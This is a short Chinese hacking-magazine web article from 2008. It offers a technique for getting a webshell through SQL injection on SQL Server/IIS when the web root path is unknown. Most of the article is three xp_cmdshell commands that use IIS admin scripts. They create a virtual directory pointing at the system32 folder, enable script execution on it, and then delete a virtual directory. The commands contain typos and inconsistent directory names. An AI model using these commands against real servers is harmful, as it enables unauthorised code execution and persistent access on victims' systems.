黑客防线,在攻与防的对立统一中寻求突破!2001年创刊的黑客技术专业刊物!

设为首页
收藏本站
联系我们
网站导航


黑客文章 - 本地提权 - 浏览 - 无法获得Web绝对路径又一入侵方法
无法获得Web绝对路径又一入侵方法
http://www.hacker.com.cn/ 2008-6-8 3:00:46 黑客防线
  我们很多情况下都遇到SQL注入可以列目录和运行命 令,但是却很不容易找到web所在目录,也就不好得到一个webshell,这一招不错:
  exec master.dbo.xp_cmdshell ’cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"’

  建立虚拟目录win,指向c:\windows\system32

  exec master.dbo.xp_cmdshell ’cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture’

  让win句有解析asp脚本权 限

  exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"

  删除虚拟目录。

  找不到web绝对路径的一种解决办法!
所属分类: 本地提权   所属专题:
共有 1444 人次浏览 收藏本页 返回上一页
评论作者:
电子邮件:
评论内容:
投票评价:
验 证 码:
图片包含4个随机字符,点击刷新
请输入上面图片中的随机字符